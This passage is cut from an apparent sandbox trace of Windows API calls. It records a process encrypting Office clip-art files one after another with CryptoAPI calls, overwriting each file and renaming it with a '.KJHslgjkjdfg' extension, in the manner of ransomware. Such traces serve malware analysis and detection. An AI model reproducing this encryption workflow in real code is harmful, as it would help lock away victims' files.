dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.145] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.145] GetProcessHeap () returned 0x990000 [0187.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.145] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.146] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.146] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.146] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.146] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.146] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.146] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x714c, lpOverlapped=0x0) returned 1 [0187.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7150, dwBufLen=0x7150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7150) returned 1 [0187.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.148] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7150, lpOverlapped=0x0) returned 1 [0187.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.148] SetEndOfFile (hFile=0x130) returned 1 [0187.149] GetProcessHeap () returned 0x990000 [0187.149] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.149] GetProcessHeap () returned 0x990000 [0187.149] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.kjhslgjkjdfg")) returned 1 [0187.150] CloseHandle (hObject=0x130) returned 1 [0187.150] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0187.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.151] GetProcessHeap () returned 0x990000 [0187.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.151] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.151] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0187.153] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.153] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.153] GetProcessHeap () returned 0x990000 [0187.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.154] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.154] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x532, lpOverlapped=0x0) returned 1 [0187.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540, dwBufLen=0x540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.154] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x540, lpOverlapped=0x0) returned 1 [0187.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.154] SetEndOfFile (hFile=0x130) returned 1 [0187.161] GetProcessHeap () returned 0x990000 [0187.161] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.161] GetProcessHeap () returned 0x990000 [0187.161] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.kjhslgjkjdfg")) returned 1 [0187.162] CloseHandle (hObject=0x130) returned 1 [0187.162] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0187.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.164] GetProcessHeap () returned 0x990000 [0187.164] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.164] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.164] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.175] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.178] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.178] GetProcessHeap () returned 0x990000 [0187.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.178] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.185] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.185] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.186] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.186] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.186] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.188] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.188] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.188] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5a4, lpOverlapped=0x0) returned 1 [0187.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5b0) returned 1 [0187.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.189] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5b0, lpOverlapped=0x0) returned 1 [0187.190] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.190] SetEndOfFile (hFile=0x130) returned 1 [0187.195] GetProcessHeap () returned 0x990000 [0187.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.195] GetProcessHeap () returned 0x990000 [0187.195] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.kjhslgjkjdfg")) returned 1 [0187.196] CloseHandle (hObject=0x130) returned 1 [0187.196] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0187.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.197] GetProcessHeap () returned 0x990000 [0187.197] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.197] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.197] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.205] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.205] GetProcessHeap () returned 0x990000 [0187.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.205] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.205] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.205] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.205] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.206] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.206] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.206] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.206] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f26, lpOverlapped=0x0) returned 1 [0187.207] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f30) returned 1 [0187.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.207] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f30, lpOverlapped=0x0) returned 1 [0187.207] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.207] SetEndOfFile (hFile=0x130) returned 1 [0187.210] GetProcessHeap () returned 0x990000 [0187.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.210] GetProcessHeap () returned 0x990000 [0187.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.kjhslgjkjdfg")) returned 1 [0187.212] CloseHandle (hObject=0x130) returned 1 [0187.212] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0187.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.213] GetProcessHeap () returned 0x990000 [0187.213] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.213] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.213] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.216] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.216] GetProcessHeap () returned 0x990000 [0187.216] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.216] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.216] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.216] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.217] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.217] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 